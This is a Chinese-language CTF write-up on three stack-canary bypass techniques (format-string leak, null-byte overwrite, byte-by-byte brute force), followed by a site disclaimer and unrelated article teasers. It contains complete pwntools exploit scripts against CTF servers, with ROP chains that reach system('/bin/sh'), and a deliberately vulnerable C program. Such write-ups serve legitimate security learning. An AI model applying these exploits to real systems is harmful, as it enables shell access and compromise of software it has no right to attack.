Canary,三种优雅姿势绕过

Canary(金丝雀),栈溢出保护

  1. canary保护是防止栈溢出的一种措施,其在调用函数时,在栈帧的上方放入一个随机值 ,绕过canary时首先需要泄漏这个随机值,然后再钩爪ROP链时将其作为垃圾数据写入,注意要放在rbp的前面,下面调试来观察随机值:

    image-20240630104806257

    1. 可以看到,在调用的函数的开头将rax作为随机值放入到了rbp上放的栈上

    image-20240630105026803

    image-20240630105225422

    1. 在函数的结尾,将随机值取出后,与本来的随机值做了对比,相同的才会返回,不同就会报错。
  2. 在进行栈溢出时,如果程序开启了canary保护,首先就需要泄漏这个随机值,否则其被覆盖掉后,程序在退出时再检查该值,会引发错误。

1. 利用printf格式化字符串 泄漏随机值。

  1. 先确定 随机值 相对于 格式化字符串 的位置,再利用 %n7$p 来输出该位置的内容,然后就是常规的栈溢出ROP构造,但此时要注意将泄漏出来的 canary 填充再rbp位置的前面:

  2. 例题:BUUCTF在线评测 (buuoj.cn)

from pwn import *
from LibcSearcher import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
p = remote("node5.buuoj.cn",29861)
elf = ELF('./bjdctf_2020_babyrop2')
#获取got、plt地址
got = elf.got['puts']
plt = elf.plt['puts']
print(hex(got),hex(plt))p.recvuntil(b"I'll give u some gift to help u!\n")
#泄漏canary
p.sendline(b'%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print("canary:",hex(canary))#获取传参地址
pop_rdi_ret = 0x0000000000400993
#获取返回地址,便于下一次利用栈溢出
main_addr = 0x400887
print(hex(main_addr))
ret = 0x00000000004005f9#构造payload,获得puts函数的地址,注意绕过canary,在rbp前面填充canary,计算canary前后填充的垃圾数据
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
libc = LibcSearcher('puts',addr)
libc_base = addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
print(hex(libc_base),hex(sys_addr),hex(str_bin))p.recvuntil(b'Pull up your sword and tell me u story!\n')
#第二次利用栈溢出
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)+p64(main_addr)
p.sendline(payload)
#p.sendline(b'cat flag')
# 与远程交互
p.interactive()

2. 覆盖截断字符获取canary

  1. Canry的最底一个字节设计为b’\x00’,是为了防止put,write,printf登将canary读出。如果利用栈溢出将最低位的b’\x00’覆盖,就可以利用答应函数将canary一致输出,最后再在最低位拼接上 b'\x00'就可以得到canary。

  2. 实例:

    // test.c
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    void getshell(void) {system("/bin/sh");
    }
    void init() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
    }
    void vuln() {char buf[100];for(int i=0;i<2;i++){read(0, buf, 0x200);printf(buf);}
    }
    int main(void) {init();puts("Hello Hacker!");vuln();return 0;
    }
  3. 覆盖canary的最后一个字节,并从新组成canary:

    1. 首先确定要覆盖的位置,由于是 小端序 所以最后一个字节在高位,找到canary的偏移 var_c 后于 buf 相减再加一就可以指向canary的最低字节处,将其覆盖位a(注意使用send发送,不要最后的 回车符 )接受返会后要 拼接canary

      image-20240630204202081

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    p = process("./test")
    p.recvuntil(b'Hello Hacker!\n')
    #发送var_c-buf+1个 b'a',最后一个a可以覆盖掉canary的最低字节 b`\x00`
    payload = b'a'*(0x70-0xc+1)
    p.send(payload)
    #接受返回后从行拼接canary
    canary = p.recv()[0x65:0x68]
    canary = canary.rjust(4,b'\x00')
    print(hex(u32(canary)))
    
    1. 再利用canary绕过金丝雀。

      shell = 0x080491B6
      #canary后面还有0xc个字节才到返回地址,而不是仅查一个ebp(4个字节)
      payload = b'a'*(0x70-0xc)+canary+b'a'*(0x8+4)+p32(shell)
      p.sendline(payload)
      # 与远程交互
      p.interactive()
      

3. 逐字节爆破

题目地址:pwn

注意:canary爆破时,利用栈溢出,溢出到canary位置,从低位到高位 逐次覆盖掉canary的4个字节(一位无法绕过低位字节堆高位进行爆破,所以必须从低到高),且要求canary不能变化,绕过重开程序canary变化,就不适用爆破了。

  1. 函数的主逻辑在ctfshow,前面的函数基本无用,ctfshow中存在栈溢出:

    image-20240706175916809

  2. 爆破脚本:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')for i in range(0xff):p = remote("pwn.challenge.ctf.show",28104)p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")p.sendline(b'100')p.recv()payload = b'a'*(32)+int.to_bytes(i)p.send(payload)data = p.recv()if b"Canary Value Incorrect!\n" not in  data:canary = dataprint(canary,i)break

    第一次爆破出来是:

    image-20240706183936688

    下面爆破第二个:

    from pwn import *# 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')for i in range(0xff):p = remote("pwn.challenge.ctf.show",28104)p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")p.sendline(b'100')p.recv()payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(i)p.send(payload)data = p.recv()if b"flag" in  data:canary = dataprint(canary,i)break

    image-20240706184045278

    第三个:

    from pwn import *# 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')for i in range(0xff):p = remote("pwn.challenge.ctf.show",28104)# p = process('./pwn')# elf = ELF('./pwn')p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")p.sendline(b'100')p.recv()payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(i)p.send(payload)data = p.recv()if b"flag" in  data:canary = dataprint(canary,i)break
    

    image-20240706184250681

    第四个:

    from pwn import *# 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')for i in range(0xff):p = remote("pwn.challenge.ctf.show",28104)p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")p.sendline(b'100')p.recv()payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(68)+int.to_bytes(i)p.send(payload)data = p.recv()if b"flag" in  data:canary = dataprint(canary,i)break
    

    image-20240706184354494

  3. 所以最后canary确定为0x21443633。注意大小端序,最后验证爆破的canary:

    from pwn import *# 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')p = remote("pwn.challenge.ctf.show",28104)
    p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
    p.sendline(b'100')
    p.recv()
    payload = b'a'*(32)+p32(0x21443633)+b'a'*(0xc+4)+p32(0x08048696)
    p.send(payload)
    p.recv()
    p.interactive()

    image-20240706184952360

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/41940.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

对接海康sdk-linux下复制jar包中resource目录的文件夹

背景 在集成海康sdk时,需要将一些组件放到项目中作为静态资源,并且海康的sdk初始化也需要加载这些静态资源,在windows下,使用一些File路径的方式是可以正确加载的,但是在linux上就会加载失败。 首先我是将海康的sdk组件放到resource下的,并且按照windows和linux设置了两…

轻松快速上手Thekey库,实现数据加密无忧

Thekey的概述&#xff1a; Thekey库是一个Python库,旨在简化数据加密、解密、签名和验证的过程。它提供了一套简洁易用的接口,用于处理各种加密任务,适合需要在应用程序中实现安全数据处理的开发人员. 安装Thekey库 pip install thekey使用Thekey库进行基本加密和解密操作的…

【笔记】TimEP Safety Mechanisms方法论

1.TimEPM Overview 三大监控方法: Alive Supervision 实时监督Logical Supervision 逻辑监督Deadline Supervision 限时监督相关模块框图: 相关模块调用框图: 每个MCU核开启内狗(1核1狗),内狗用于监控相应核的TASK超时,超时后软reset MCU内狗时钟需要独立于OS时钟,两…

C++下Protobuf学习

C下Protobuf简单学习 Protobuf&#xff08;Protocol Buffers&#xff09;协议是一种由 Google 开发的高效的、跨语言的、平台无关的数据序列化协议&#xff0c;提供二进制序列化格式和相关的技术&#xff0c;它用于高效地序列化和反序列化结构化数据&#xff0c;通常用于网络通…

DDR3(三)

目录 1 预取1.1 什么是预取1.2 预取有哪些好处1.3 结构框图1.4 总结 2 突发2.1 什么是突发2.2 突发与预取 本文讲解DDR中常见的两个术语&#xff1a;预取和突发&#xff0c;对这两个概念理解的关键在于地址线的低位是否参与译码&#xff0c;具体内容请继续往下看。 1 预取 1.1…

JDBC【封装工具类、SQL注入问题】

day54 JDBC 封装工具类01 创建配置文件 DBConfig.properties driverNamecom.mysql.cj.jdbc.Driver urljdbc:mysql://localhost:3306/qnz01?characterEncodingutf8&serverTimezoneUTC usernameroot passwordroot新建配置文件&#xff0c;不用写后缀名 创建工具类 将变…

C++笔试强训2

文章目录 一、选择题二、编程题 一、选择题 和笔试强训1的知识点考的一样&#xff0c;因为输出的是double类型所以后缀为f,m.n对其30个字符所以m是30&#xff0c;精度是4所以n是4&#xff0c;不加符号默认是右对齐&#xff0c;左对齐的话前面加-号&#xff0c;所以答案是-30.4f…

推荐Bulk Image Downloader插件下载网页中图片链接很好用

推荐&#xff1a;Bulk Image Downloader chome浏览器插件下载图片链接&#xff0c;很好用。 有个网页&#xff0c;上面放了数千的gif的电路图&#xff0c;手工下载会累瘫了不可。想找一个工具分析它的静态链接并下载&#xff0c;找了很多推荐的下载工具&#xff0c;都是不能分…

vue2 data内对象引用另一个data对象无法使用this的解决办法

背景&#xff1a;data内有一复杂对象&#xff0c;并且内部一属性经常修改&#xff0c;每次修改的话属性.属性会很长&#xff0c;所以希望引用另一简单对象&#xff0c;但data内this用不了。(集合数组是地址引用&#xff0c;基本数据类型这么操作没意义) 如&#xff1a; 解决办法…

数字信号处理及MATLAB仿真(3)——采样与量化

今天写主要来编的程序就是咱们AD变换的两个步骤。一个是采样&#xff0c;还有一个是量化。大家可以先看看&#xff0c;这一过程当中的信号是如何变化的。信号的变换图如下。 先说说采样&#xff0c;采样是将连续时间信号转换为离散时间信号的过程。在采样过程中&#xff0c;连续…

进程的控制-孤儿进程和僵尸进程

孤儿进程 &#xff1a; 一个父进程退出&#xff0c;而它的一个或多个子进程还在运行&#xff0c;那么那些子进程将成为孤儿进程。孤儿进程将被 init 进程( 进程号为 1) 所收养&#xff0c;并由 init 进程对它们完成状态收集工作 为了释放子进程的占用的系统资源&#xff1a; …

解决Linux环境Qt报“cannot find -lgl“问题

今天&#xff0c;在Ubuntu 18.04.6环境下&#xff0c;安装Qt5.14.2之后&#xff0c;运行一个QWidget工程&#xff0c;发现Qt报"cannot find -lgl"错误。     出现这种现象的原因&#xff1a;Qt的Path路径没有配置&#xff0c;缺少libqt4-dev依赖包和一些必要的组件…

拉曼光谱入门:2.拉曼光谱发展史、拉曼效应与试样温度的确定方法

1.拉曼光谱技术发展史 这里用简单的箭头与关键字来概括一下拉曼光谱技术的发展史 1928年&#xff1a;拉曼效应的发现 → 拉曼光谱术的初步应用20世纪40年代&#xff1a;红外光谱术的发展 → 拉曼光谱术的限制20世纪60年代&#xff1a;激光作为光源的引入 → 拉曼光谱术的性能提…

【雷丰阳-谷粒商城 】【分布式高级篇-微服务架构篇】【17】认证服务01—短信/邮件/异常/MD5

持续学习&持续更新中… 守破离 【雷丰阳-谷粒商城 】【分布式高级篇-微服务架构篇】【17】认证服务01 环境搭建验证码倒计时短信服务邮件服务验证码短信形式&#xff1a;邮件形式&#xff1a; 异常机制MD5参考 环境搭建 C:\Windows\System32\drivers\etc\hosts 192.168.…

使用flask的web网页部署介绍

使用flask的web网页部署介绍 文章目录 前言一、网页介绍二、数据库设计介绍总结 前言 flaskbootstrapjquerymysql搭建三叶青在线识别网站&#xff0c;使用nginxgunicorn将网站部署在腾讯云上&#xff0c;配置SSL证书。网站地址&#xff1a;https://www.whtuu.cn 三叶青图像识…

2024年6月后2周重要的大语言模型论文总结:LLM进展、微调、推理和对齐

本文总结了2024年6月后两周发表的一些最重要的大语言模型论文。这些论文涵盖了塑造下一代语言模型的各种主题&#xff0c;从模型优化和缩放到推理、基准测试和增强性能。 LLM进展与基准 1、 BigCodeBench: Benchmarking Code Generation with Diverse Function Calls and Com…

【C++】模板进阶--保姆级解析(什么是非类型模板参数?什么是模板的特化?模板的特化如何应用?)

目录 一、前言 二、什么是C模板&#xff1f; &#x1f4a6;泛型编程的思想 &#x1f4a6;C模板的分类 三、非类型模板参数 ⚡问题引入⚡ ⚡非类型模板参数的使用⚡ &#x1f525;非类型模板参数的定义 &#x1f525;非类型模板参数的两种类型 &#x1f52…

linux下高级IO模型

高级IO 1.高级IO模型基本概念1.1 阻塞IO1.2 非阻塞IO1.3 信号驱动IO1.4 IO多路转接1.5 异步IO 2. 模型代码实现2.1 非阻塞IO2.2 多路转接-selectselect函数介绍什么才叫就绪呢&#xff1f;demoselect特点 2.3 多路转接-pollpoll函数介绍poll优缺点demo 2.4 多路转接-epoll&…

为什么人一旦开窍了就变的特别厉害?

点击上方△腾阳 关注 《让子弹飞》这部电影非常经典&#xff0c;其中一个名场面就是“六子吃粉”。 电影里&#xff0c;胡万对着老六就是一顿狂轰滥炸&#xff1a;“吃了两碗粉&#xff0c;就给一碗的钱&#xff0c;你当咱这是慈善堂呢&#xff1f;” 老六一听&#xff0c;那…

SpringBoot+ELK 收集日志的两种方式

方式一、FileBeatlogstash 7.5.1(docker)ES(docker)springboot 日志文件 应用方式 我们采用ELFK 架构采集日志&#xff0c;直接读取日志生成的文件&#xff0c;不对Springboot的日志任何的修改。也就是FileBeat 通过读取日志文件位置获取日志内容&#xff0c;然后发送至logsta…